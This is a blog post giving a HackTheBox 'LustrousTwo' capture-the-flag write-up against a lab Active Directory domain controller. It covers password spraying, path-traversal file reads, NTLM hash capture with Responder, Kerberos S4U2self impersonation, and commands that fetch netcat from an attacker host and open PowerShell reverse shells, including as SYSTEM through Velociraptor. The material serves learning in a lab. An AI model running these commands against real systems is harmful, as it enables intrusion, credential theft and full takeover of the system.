DEV Community

Cover image for HackTheBox: LustrousTwo Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: LustrousTwo Writeup

Summary

This box is a Windows Active Directory domain controller that only accepts Kerberos authentication (NTLM is disabled). Initial access starts with anonymous FTP exposing a valid username list, which combined with a predictable "machine-name + year" password guess yields one working AD credential. That account can't touch LDAP over plaintext (signing enforced) but works fine once Kerberos is set up properly on the attack box.

The real entry point is an internal IIS/ASP.NET Core file-sharing app ("LuShare") that uses Windows/Kerberos "Negotiate" auth - it only shows up once Kerberos is configured correctly, not a normal 404/anonymous site. The app has a path-traversal download endpoint (LFI), which is used to pull web.config and the compiled application DLL. Decompiling the DLL reveals a hidden /File/Debug endpoint that runs raw PowerShell if you know a hardcoded PIN found in the source.

That gives command execution as a low-privileged service account (ShareSvc). Coercing that service account to authenticate to a listener (via the app's own download-by-UNC-path behavior) captures its NetNTLMv2 hash, which cracks quickly against a wordlist. With the cracked password we abuse Kerberos S4U2self to impersonate a domain-admin-equivalent user against the web app's own service, regaining admin access to the "Debug" RCE endpoint (which was otherwise gated to admins).

From there, command length limits are worked around by dropping a netcat binary to disk and using it for a full reverse shell. On the box, a locally installed Velociraptor DFIR server is misconfigured with a world-readable install directory, which is not the intended ACL. Velociraptor's own execve() VQL query is used to run commands as NT AUTHORITY\SYSTEM, finishing the box.


Recon

Nmap

nmap -A -p- machine-ip -oA nmap
Enter fullscreen mode Exit fullscreen mode
Port(s) Service Notes
21 FTP Microsoft ftpd, anonymous login allowed
53 DNS Simple DNS Plus
80 / 5985 HTTP Microsoft IIS 10.0 / HTTPAPI 2.0 — "Negotiate"-only (Kerberos, no NTLM)
88 Kerberos Microsoft Windows Kerberos
135 / 139 / 445 RPC / SMB microsoft-ds, signing required
389 / 636 / 3268 / 3269 LDAP / LDAPS / GC Domain: Lustrous2.vl
464 kpasswd5 Kerberos password change
3389 RDP Microsoft Terminal Services
9389 AD Web Services .NET Message Framing

SMB signing is enforced (Message signing enabled and required). The LDAPS/GC certificates confirm the domain name Lustrous2.vl and DC hostname LUS2DC.Lustrous2.vl.

Port 80 specifically returned:

80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Negotiate
Enter fullscreen mode Exit fullscreen mode

The site is returning a 401 Unauthorized status with a WWW-Authenticate: Negotiate header on every request. This is a strong signal the web app only accepts Kerberos (SPNEGO/Negotiate) auth - plain anonymous or NTLM requests will always get bounced with 401 Unauthorized. Browsing to it directly (below) confirms this - Firefox shows a generic "problem with this site / 401 Unauthorized" page, which can easily look like a dead or misconfigured site if you don't realize Kerberos is the reason:

http://lustrous2.vl/"Looks like there's a problem with this site... Error code: 401 Unauthorized"

Anonymous FTP — full session

ftp machine-ip
Enter fullscreen mode Exit fullscreen mode
Connected to machine-ip.
220 Microsoft FTP Service
Name (machine-ip:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
Enter fullscreen mode Exit fullscreen mode
ftp> prompt off
Interactive mode off.
ftp> ls
Enter fullscreen mode Exit fullscreen mode
09-06-24  05:20AM       <DIR>          Development
04-14-25  04:44AM       <DIR>          Homes
08-31-24  01:57AM       <DIR>          HR
08-31-24  01:57AM       <DIR>          IT
04-14-25  04:44AM       <DIR>          ITSEC
08-31-24  01:58AM       <DIR>          Production
08-31-24  01:58AM       <DIR>          SEC
226 Transfer complete.
Enter fullscreen mode Exit fullscreen mode

HR, IT, and Production turned out to be empty. ITSEC had one file:

ftp> cd ITSEC
250 CWD command successful.
ftp> ls
Enter fullscreen mode Exit fullscreen mode
09-07-24  03:50AM                  207 audit_draft.txt
226 Transfer complete.
Enter fullscreen mode Exit fullscreen mode
ftp> get audit_draft.txt
Enter fullscreen mode Exit fullscreen mode
226 Transfer complete.
207 bytes received in 00:00 (0.74 KiB/s)
Enter fullscreen mode Exit fullscreen mode

Contents:

cat audit_draft.txt
Enter fullscreen mode Exit fullscreen mode
Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
Enter fullscreen mode Exit fullscreen mode

This is essentially a hint sheet: NTLM is dead here (confirms the 401/Negotiate behavior), but weak passwords are still an open issue - a strong pointer toward password guessing/spraying.

Then Homes, which turned out to hold one (empty) directory per domain user - effectively a leaked username list:

ftp> cd Homes
250 CWD command successful.
ftp> ls
Enter fullscreen mode Exit fullscreen mode
09-07-24  12:03AM       <DIR>          Aaron.Norman
09-07-24  12:03AM       <DIR>          Adam.Barnes
09-07-24  12:03AM       <DIR>          Amber.Ward
...                                              [69 more directories, one per user — all empty]
09-07-24  12:03AM       <DIR>          Wayne.Taylor
226 Transfer complete.
Enter fullscreen mode Exit fullscreen mode

Pulling the username list cleanly

Rather than eyeballing the ls output, the directory names were pulled programmatically with a heredoc FTP session and nlist, and saved to users.txt:

ftp -inv machine-ip <<EOF | tee users.txt
user anonymous ""
cd Homes
nlist
bye
EOF
Enter fullscreen mode Exit fullscreen mode
Connected to machine-ip.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
250 CWD command successful.
125 Data connection already open; Transfer starting.
Aaron.Norman
Adam.Barnes
...                                              [69 more names]
Wayne.Taylor
226 Transfer complete.
221 Goodbye.
Enter fullscreen mode Exit fullscreen mode

The raw users.txt also contains the FTP banner/status lines mixed in with the names (since tee captured everything printed to the terminal), so it was filtered down to just valid Firstname.Lastname / ShareSvc-style entries with grep - this is the command used to build the clean user.txt list used for the rest of the attack:

grep -E '^[A-Za-z]+\.[A-Za-z]+$|^ShareSvc$' users.txt > user.txt
Enter fullscreen mode Exit fullscreen mode

Result: 71 clean usernames in user.txt.

Username validation

kerbrute userenum -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt
Enter fullscreen mode Exit fullscreen mode
2026/07/01 06:35:02 >  Using KDC(s):
2026/07/01 06:35:02 >   lus2dc.lustrous2.vl:88
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Aaron.Norman@lustrous2.vl
2026/07/01 06:35:03 >  [+] VALID USERNAME:       Andrea.Smith@lustrous2.vl
...                                              [69 more valid hits]
2026/07/01 06:35:05 >  Done! Tested 71 usernames (71 valid) in 2.722 seconds
Enter fullscreen mode Exit fullscreen mode

kerbrute confirms usernames by checking which ones return a valid Kerberos pre-auth response - no password needed. All 71 candidates pulled from FTP came back as valid usernames, confirming the FTP folder list is a genuine (if accidental) user directory.


Initial Foothold — Password Guessing

Since the audit note explicitly flagged "Weak User Passwords" as still open, and the box was built in 2024, a classic pattern was tried: <MachineName><Year>. A few guesses were tried (Lustroustwo2024, LustrousTwo2024, Lustroustwo2024) before landing on the right casing:

kerbrute passwordspray -d lustrous2.vl --dc lus2dc.lustrous2.vl user.txt Lustrous2024
Enter fullscreen mode Exit fullscreen mode
2026/07/01 07:37:47 >  Using KDC(s):
2026/07/01 07:37:47 >   lus2dc.lustrous2.vl:88
2026/07/01 07:37:51 >  [+] VALID LOGIN:  Thomas.Myers@lustrous2.vl:Lustrous2024
2026/07/01 07:37:51 >  Done! Tested 71 logins (1 successes) in 4.239 seconds
Enter fullscreen mode Exit fullscreen mode

Thomas.Myers : Lustrous2024 - one valid hit out of 71 accounts, in a single spray attempt (not a brute force - a targeted guess based on the naming convention hint from the audit file).

Confirmed over SMB - note NTLM fails outright (as the audit predicted) but Kerberos (-k) works:

nxc smb machine-ip -u Thomas.Myers -p Lustrous2024
Enter fullscreen mode Exit fullscreen mode
SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [-] Lustrous2.vl\Thomas.Myers:Lustrous2024 STATUS_NOT_SUPPORTED
Enter fullscreen mode Exit fullscreen mode
nxc smb machine-ip -u Thomas.Myers -p Lustrous2024 -k
Enter fullscreen mode Exit fullscreen mode
SMB   machine-ip  445    LUS2DC   [*]  x64 (name:LUS2DC) (domain:Lustrous2.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB   machine-ip  445    LUS2DC   [+] Lustrous2.vl\Thomas.Myers:Lustrous2024
Enter fullscreen mode Exit fullscreen mode

Shares available to this user were limited to the defaults (IPC$, NETLOGON, SYSVOL) - nothing extra to read here.

Getting Kerberos working properly

LDAP enumeration with plain credentials failed (signing is enforced), so a proper Kerberos ticket was needed:

impacket-getTGT lustrous2.vl/Thomas.Myers:Lustrous2024
export KRB5CCNAME=Thomas.Myers.ccache
Enter fullscreen mode Exit fullscreen mode

BloodHound collection was run using that ticket:

bloodhound-python -u Thomas.Myers -k -no-pass -d lustrous2.vl -dc lus2dc.lustrous2.vl -ns machine-ip -c All --zip
Enter fullscreen mode Exit fullscreen mode
INFO: Found AD domain: lustrous2.vl
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 4 computers
INFO: Found 75 users
INFO: Found 54 groups
INFO: Found 2 gpos / 2 ous / 19 containers / 0 trusts
INFO: Compressing output into 20260701074404_bloodhound.zip
Enter fullscreen mode Exit fullscreen mode

Ingested into BloodHound and marked Thomas.Myers as Owned. At this point there wasn't much of an obvious privesc path directly from BloodHound — the useful leads came from the file server itself.


Reaching the Web App (Kerberos SPN gotcha)

Visiting http://lustrous2.vl in a browser just showed 401 Unauthorized - the page literally reads "Looks like there's a problem with this site... Error code: 401 Unauthorized". It looks broken, but this is expected: the site demands SPNEGO/Kerberos "Negotiate" auth that a browser without a valid domain Kerberos ticket can't satisfy (background: see the referenced woshub article on IIS Kerberos auth, "Configuring Kerberos Authentication on IIS Website").

Getting curl --negotiate to actually succeed took some troubleshooting. A working /etc/hosts and a ticket for Thomas.Myers weren't enough — the request kept failing with a "server not found in Kerberos database" style error even though the ticket cache clearly had a valid ticket.

Root cause: /etc/hosts mapped all three names (lustrous2.vl, lus2dc.lustrous2.vl, LUS2DC.lustrous2.vl) to the same IP. MIT Kerberos's default reverse-DNS canonicalization (rdns) rewrote the target hostname used to build the Kerberos Service Principal Name (SPN) down to just lustrous2.vl — but the actual SPN registered in the KDC is HTTP/lus2dc.lustrous2.vl. So curl was requesting a ticket for a service that doesn't exist, instead of reusing the cached (correct) one.

Fix — disable that canonicalization in /etc/krb5.conf:

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = LUSTROUS2.VL
    rdns = false
    dns_canonicalize_hostname = false
[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.lustrous2.vl
        admin_server = lus2dc.lustrous2.vl
        default_domain = Lustrous2.vl
    }
[domain_realm]
    .Lustrous2.vl = LUSTROUS2.VL
    Lustrous2.vl = LUSTROUS2.VL
Enter fullscreen mode Exit fullscreen mode

rdns = false stops the reverse-DNS lookup that was collapsing the hostname, and dns_canonicalize_hostname = false stops Kerberos from doing its own forward-DNS canonicalization pass on top of that - together they force curl's GSSAPI layer to build the SPN literally from the hostname typed in the URL (lus2dc.lustrous2.vl), matching what's actually registered in the KDC.

After that, kinit + curl --negotiate succeeded:

curl -I --negotiate -u : http://lus2dc.lustrous2.vl/
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate ...
X-Powered-By: ASP.NET
Enter fullscreen mode Exit fullscreen mode

Fetching the page (no more 401) showed an internal file-sharing app called LuShare, greeting "Well met, LUSTROUS2\Thomas.Myers!" and listing one downloadable file, audit.txt (same content as the FTP copy).


LFI in the Download Endpoint

The download link took a raw fileName query parameter with no path sanitization:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=..\..\..\..\Windows\win.ini'
Enter fullscreen mode Exit fullscreen mode
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Enter fullscreen mode Exit fullscreen mode

This confirmed an unauthenticated-to-anyone-logged-in path traversal / arbitrary file read. It also became clear that the download logic could be pointed at a UNC path (\\attacker-ip\share\x), meaning the server itself would attempt to reach out over SMB to a path we control - a classic NTLM auth coercion primitive.

Capturing and Cracking the Service Account's Hash

To catch that inbound SMB authentication attempt, a responder listener was started first:

sudo responder -I tun0
Enter fullscreen mode Exit fullscreen mode
[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  MDNS [ON]  DNS [ON]
[+] Servers:   SMB server [ON]  HTTP server [ON]  Kerberos server [ON]
[+] Listening for events...
Enter fullscreen mode Exit fullscreen mode

Then the download endpoint was pointed at the listener's IP as a UNC path:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=//your-ip/share/x'
Enter fullscreen mode Exit fullscreen mode

The IIS app (running as its own service account, not us) tried to authenticate to that path over SMB, and Responder captured a NetNTLMv2 hash for LUSTROUS2\ShareSvc:

[SMB] NTLMv2-SSP Client   : machine-ip
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash     : ShareSvc::LUSTROUS2:<redacted-challenge>:<redacted-response-blob>
Enter fullscreen mode Exit fullscreen mode

This is a NetNTLMv2 challenge/response, not the account's raw password hash — it's cryptographic proof of the password tied to a random challenge, generated fresh on each auth attempt. It can't be replayed directly (no pass-the-hash), but it can be cracked offline by trying candidate passwords against the same challenge/response math. It was saved to a file and fed to john:

cat > svc.hash << 'EOF'
ShareSvc::LUSTROUS2:<redacted-hash>
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt svc.hash
Enter fullscreen mode Exit fullscreen mode
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
1g 0:00:00:06 DONE (2026-07-01 08:54) 0.1587g/s 2275Kp/s 2275Kc/s 2275KC/s
Enter fullscreen mode Exit fullscreen mode

john recovered a valid plaintext password for ShareSvc (redacted) in about 6 seconds — a weak, wordlist-guessable password. Confirmed over SMB with Kerberos:

nxc smb lus2dc.lustrous2.vl -u ShareSvc -p '<redacted>' -k
Enter fullscreen mode Exit fullscreen mode
SMB   lus2dc.lustrous2.vl 445    lus2dc   [+] lustrous2.vl\ShareSvc:<redacted>
Enter fullscreen mode Exit fullscreen mode

ShareSvc itself had no interesting group memberships or share access in BloodHound, so this password is a dead end on its own — but it becomes very useful once the app's admin-gated /File/Debug backdoor is found below, via a Kerberos delegation trick.

Pulling the app's own source

Rather than guess at the app's logic, its own files were read off disk via the LFI:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../web.config'
Enter fullscreen mode Exit fullscreen mode
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <location path="." inheritInChildApplications="false">
    <system.webServer>
      <handlers>
        <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" ... hostingModel="inprocess" />
    </system.webServer>
  </location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->
Enter fullscreen mode Exit fullscreen mode

This confirmed the app is an ASP.NET Core app run in-process by IIS as LuShare.dll. That DLL was then pulled the same way and saved locally:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?filename=../../LuShare.dll' --output LuShare.dll
Enter fullscreen mode Exit fullscreen mode
file LuShare.dll
LuShare.dll: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
Enter fullscreen mode Exit fullscreen mode

Decompiled with ilspycmd:

ilspycmd LuShare.dll -o lushare-decompiled
Enter fullscreen mode Exit fullscreen mode

What the source revealed

The site has an /File/Upload and a hidden /File/Debug action, both restricted to the ShareAdmins AD role. In _Layout.cshtml, the Debug nav link is present in the code but wrapped in an HTML comment, so it never renders in the UI even for admins - you'd only find it by reading the source:

<!--
<li class="nav-item">
    <a class="nav-link" href="...Debug">Debug</a>
</li>
-->
Enter fullscreen mode Exit fullscreen mode

The two vulnerable controller actions in FileController.cs, trimmed to the relevant parts:

1. Download — no path sanitization (the LFI root cause):

public IActionResult Download(string fileName)
{
    if (string.IsNullOrEmpty(fileName))
        return NotFound();

    string path = Path.Combine(_uploadFolder, fileName);   // fileName is trusted as-is — "..\..\" and
                                                             // UNC paths ("\\host\share\x") both pass through
    if (!System.IO.File.Exists(path))
        return NotFound();
    ...
    return File(memoryStream, "application/octet-stream", fileName);
}
Enter fullscreen mode Exit fullscreen mode

2. Debug — hardcoded PIN gating raw PowerShell execution:

[Authorize(Roles = "ShareAdmins")]
[HttpPost]
public IActionResult Debug(string command, string pin)
{
    string text = "ba45c518";                                 // <-- the PIN is hardcoded, baked straight into the compiled DLL
    if (string.IsNullOrWhiteSpace(command) || command.Length > 100)
        return BadRequest("Invalid or too long command.");
    if (string.IsNullOrWhiteSpace(pin) || pin != text)
        return BadRequest("Invalid PIN.");

    PowerShell val = PowerShell.Create();
    val.Runspace.SessionStateProxy.LanguageMode = (PSLanguageMode)3;  // FullLanguage — no constrained-language sandboxing
    val.AddScript(command, false);                            // <-- caller-supplied command executed verbatim
    Collection<PSObject> collection = val.Invoke();
    ...
}
Enter fullscreen mode Exit fullscreen mode

Because the PIN check is pin != text against a value compiled straight into the DLL, reading the decompiled source is enough to fully bypass what looks like an access control - it's not a secret held server-side in config, it's shipped in the binary itself. Combined with [Authorize(Roles = "ShareAdmins")], the only real barrier left is being a member of ShareAdmins - and BloodHound confirmed that group has exactly two members: Ryan.Davies and Sharon.Birch, neither of whom we had credentials for yet.


Privilege Escalation to ShareAdmins via Kerberos S4U2self

ShareSvc runs the web app's service and — per BloodHound's node data on Ryan.Davies and Sharon.Birch — those two accounts were both marked sensitive but not protected from delegation. This allows requesting a service ticket as if we were Ryan.Davies, for the service that ShareSvc itself owns (HTTP/lus2dc.lustrous2.vl) - a Kerberos S4U2self impersonation.

impacket-getST -self -impersonate ryan.davies -k \
  'LUSTROUS2.VL/ShareSvc:<redacted-password>' \
  -altservice HTTP/lus2dc.lustrous2.vl -no-pass
Enter fullscreen mode Exit fullscreen mode
Impacket v0.14.0.dev0
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
Enter fullscreen mode Exit fullscreen mode

Loading that ticket:

export KRB5CCNAME=/tmp/ryan.ccache
klist
Enter fullscreen mode Exit fullscreen mode
Ticket cache: FILE:/tmp/ryan.ccache
Default principal: ryan.davies@LUSTROUS2.VL
Valid starting       Expires              Service principal
07/01/2026 09:59:58  07/01/2026 19:59:58  HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
Enter fullscreen mode Exit fullscreen mode

To make sure curl's GSSAPI layer reliably picked up this impersonated ticket instead of falling back to whatever cache it found first, a default ccache path was pinned in /etc/krb5.conf:

[libdefaults]
    default_realm = LUSTROUS2.VL
    dns_lookup_kdc = false
    dns_lookup_realm = false
    dns_canonicalize_hostname = false
    rdns = false
    default_ccache_name = FILE:/home/kali/krb5cc
Enter fullscreen mode Exit fullscreen mode

Using this ticket against the web app now shows the Upload nav link and the hidden Debug page - because Ryan.Davies is a member of ShareAdmins:

curl --negotiate -u : 'http://lus2dc.lustrous2.vl'
Enter fullscreen mode Exit fullscreen mode
<p class="nav navbar-text">Well met, LUSTROUS2\Ryan.Davies!</p>
...
<a class="nav-link" href="/File/Upload">Upload</a>
Enter fullscreen mode Exit fullscreen mode

RCE via the /File/Debug Backdoor

With admin-role access and the hardcoded PIN recovered from the decompiled source, arbitrary PowerShell now executes as the app's service account:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d "command=whoami"
Enter fullscreen mode Exit fullscreen mode
lustrous2\sharesvc
Enter fullscreen mode Exit fullscreen mode

Basic recon of the filesystem through this channel:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=ls C:\'
Enter fullscreen mode Exit fullscreen mode
C:\datastore
C:\inetpub
C:\PerfLogs
C:\Program Files
C:\Program Files (x86)
C:\Public
C:\temp
C:\Users
C:\Windows
C:\user_<redacted>.txt
Enter fullscreen mode Exit fullscreen mode

C:\datastore immediately stood out as a non-standard, top-level directory — that's not something Windows creates by default, and it hinted a non-standard service had been installed here. That single directory name is what pointed the rest of the enumeration toward C:\Program Files, where a locally installed Velociraptor DFIR/endpoint-management server was found (full details in the next section).

The user flag was read through the same channel:

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' \
  -d "pin=<redacted-pin>" -d 'command=type C:\user_<redacted>.txt'
Enter fullscreen mode Exit fullscreen mode
<user flag, redacted>
Enter fullscreen mode Exit fullscreen mode

The 100-character command cap made anything more than simple commands (e.g. base64-encoded PowerShell reverse shells) fail:

curl ... -d 'command=powershell -e <long base64 payload>'
Enter fullscreen mode Exit fullscreen mode
Invalid or too long command.
Enter fullscreen mode Exit fullscreen mode

So a short two-step approach was used instead: download a netcat binary, then execute it directly (short enough to fit the limit):

curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=mkdir C:\temp'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=iwr http://your-ip/nc64.exe -OutFile C:\temp\nc64.exe'
curl --negotiate -u : -X POST 'http://lus2dc.lustrous2.vl/File/Debug' -d "pin=<redacted-pin>" -d 'command=cmd /c C:\temp\nc64.exe your-ip 4444 -e powershell'
Enter fullscreen mode Exit fullscreen mode

This popped a full interactive reverse shell:

whoami
Enter fullscreen mode Exit fullscreen mode
lustrous2\sharesvc
Enter fullscreen mode Exit fullscreen mode

SYSTEM via Velociraptor

Following the lead from the unusual C:\datastore directory, C:\Program Files was checked for what might own it:

dir C:\"Program Files"
Enter fullscreen mode Exit fullscreen mode
C:\Program Files\Amazon
C:\Program Files\Common Files
C:\Program Files\dotnet
C:\Program Files\IIS
C:\Program Files\Internet Explorer
C:\Program Files\ModifiableWindowsApps
C:\Program Files\Velociraptor
C:\Program Files\VelociraptorServer
C:\Program Files\VMware
C:\Program Files\Windows Defender
...
Enter fullscreen mode Exit fullscreen mode

Velociraptor is an open-source DFIR/endpoint-monitoring platform (background: see the referenced hackingarticles.in post, "Threat Hunting: Velociraptor for Endpoint Monitoring"). If its server config or API access can be reached, it typically allows running arbitrary VQL queries - including shell-out queries - as whatever account the Velociraptor service runs as, which on a server install is usually very highly privileged. C:\Program Files\Velociraptor itself denied access:

dir C:\"Program Files\Velociraptor"
Enter fullscreen mode Exit fullscreen mode
Errors:
Access to the path 'C:\Program Files\Velociraptor' is denied.
Enter fullscreen mode Exit fullscreen mode

...but the sibling VelociraptorServer directory was readable and contained client.config.yaml and server.config.yaml:

dir C:\"Program Files\VelociraptorServer"
Enter fullscreen mode Exit fullscreen mode
C:\Program Files\VelociraptorServer\client.config.yaml
C:\Program Files\VelociraptorServer\server.config.yaml
C:\Program Files\VelociraptorServer\velociraptor-v0.72.4-windows-amd64.exe
Enter fullscreen mode Exit fullscreen mode

Both YAML files were readable by ShareSvc. server.config.yaml embeds the CA certificate/key, GUI TLS cert/key, and the admin's password hash + salt - none of which were directly needed, since a config-based API client could be minted locally instead using the server config's own CA trust:

.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client \
  --name admin --role administrator \programdata\api.config.yaml
Enter fullscreen mode Exit fullscreen mode
[ERROR] Unable to open file \\?\c:\datastore\config\inventory.json.db: Access is denied.
Creating API client file on \programdata\api.config.yaml.
[ERROR] Unable to open file \\?\c:\datastore\acl\admin.json.db: Access is denied.
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: Access is denied.
Enter fullscreen mode Exit fullscreen mode

This threw Access is denied errors trying to update the datastore ACL files (C:\datastore\config\inventory.json.db, C:\datastore\acl\admin.json.db) - but it still successfully wrote out a usable api.config.yaml API client credential file before hitting those permission errors. In other words, the datastore's ACL enforcement files were locked down, but the client-credential-minting step ran first and succeeded regardless.

With that API config, Velociraptor's own query engine confirms host info and privilege level:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM info()" --format jsonl
Enter fullscreen mode Exit fullscreen mode
{"Hostname":"LUS2DC","OS":"windows","Platform":"Microsoft Windows Server 2022 Standard","IsAdmin":true,"Fqdn":"LUS2DC.Lustrous2.vl","Architecture":"amd64"}
Enter fullscreen mode Exit fullscreen mode

Then a direct command execution query:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['powershell','-c','whoami'])"
Enter fullscreen mode Exit fullscreen mode
[{"Stdout":"nt authority\\system\r\n","Stderr":"","ReturnCode":0,"Complete":true}]
Enter fullscreen mode Exit fullscreen mode

Confirmed SYSTEM. The same execve() VQL primitive was used to launch a full reverse shell:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query \
  "SELECT * FROM execve(argv=['C:\\temp\\nc64.exe','-e','powershell','your-ip','3333'])"
Enter fullscreen mode Exit fullscreen mode

Caught a shell as nt authority\system:

whoami
Enter fullscreen mode Exit fullscreen mode
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Root flag:

cd C:\Users\Administrator\Desktop
type root.txt
Enter fullscreen mode Exit fullscreen mode
<root flag, redacted>
Enter fullscreen mode Exit fullscreen mode

Attack Chain (End to End)

  1. Recon — Nmap shows a Kerberos-only AD DC; IIS site returns 401 Unauthorized with Negotiate.
  2. Anonymous FTP leaks a full valid AD username list plus an audit note that flags weak passwords as an unresolved issue.
  3. Kerbrute confirms all 71 harvested usernames are real accounts.
  4. Password guess (Lustrous2024, following a <name><year> pattern) cracks Thomas.Myers.
  5. Fix local Kerberos SPN canonicalization (rdns = false) so the DC's Kerberos-protected web app becomes reachable at all.
  6. Discover the LuShare internal file app; abuse a path traversal in the download endpoint to read arbitrary files.
  7. Trigger that same download endpoint against a UNC path, coercing the app's ShareSvc service account to authenticate to a Responder listener; capture and crack its NetNTLMv2 hash.
  8. Use the LFI to pull web.config and the compiled LuShare.dll, then decompile it - revealing a hidden /File/Debug PowerShell-execution endpoint gated by a hardcoded PIN and ShareAdmins group membership.
  9. Use ShareSvc's recovered password to perform a Kerberos S4U2self impersonation of Ryan.Davies (a ShareAdmins member), gaining admin-role access to the app without his password.
  10. Use the now-accessible /File/Debug endpoint + hardcoded PIN to get PowerShell RCE as ShareSvc; spot the non-standard C:\datastore directory; work around the 100-char limit by staging nc64.exe for a full reverse shell.
  11. Follow the C:\datastore lead into C:\Program Files and find a misconfigured local Velociraptor server install; mint an API client credential and use Velociraptor's execve() VQL query to run commands (and a reverse shell) as NT AUTHORITY\SYSTEM.
  12. Read root.txt - box complete.

Key Vulnerabilities / Root Causes

  1. Anonymous FTP on the DC leaking a full internal username list (Homes share directory names) and an internal audit note.
  2. Predictable AD password (<MachineName><Year> pattern) - one account crackable by guessing, not brute force.
  3. Kerberos-only web app misconfigured for discovery - a working site was returning 401 Unauthorized with Negotiate and looked broken/dead until Kerberos SPN resolution was fixed client-side (DNS canonicalization issue).
  4. Path traversal / LFI in the file-download feature of the internal "LuShare" app — arbitrary file read as any authenticated domain user, including the app's own compiled binary and config.
  5. Hardcoded debug backdoor (/File/Debug) in the shipped code - accepts a static, hardcoded PIN and executes arbitrary PowerShell, restricted only by an [Authorize(Roles = "ShareAdmins")] check and a 100-character command length cap.
  6. NTLM authentication coercion - the app's download endpoint would reach out to attacker-supplied UNC paths, letting the service account's NetNTLMv2 hash be captured with Responder.
  7. Weak service account password, cracked from the captured hash in seconds.
  8. Kerberos S4U2self abuse - the service account can request tickets "as" other users for its own service, which was leveraged to escalate to an admin group member of the web app.
  9. Insecure Velociraptor deployment - SYSTEM-level DFIR/endpoint-management tool installed with an accessible config directory (C:\datastore at the OS root) and API config, giving trivial SYSTEM command execution once local access was gained.

References

Top comments (0)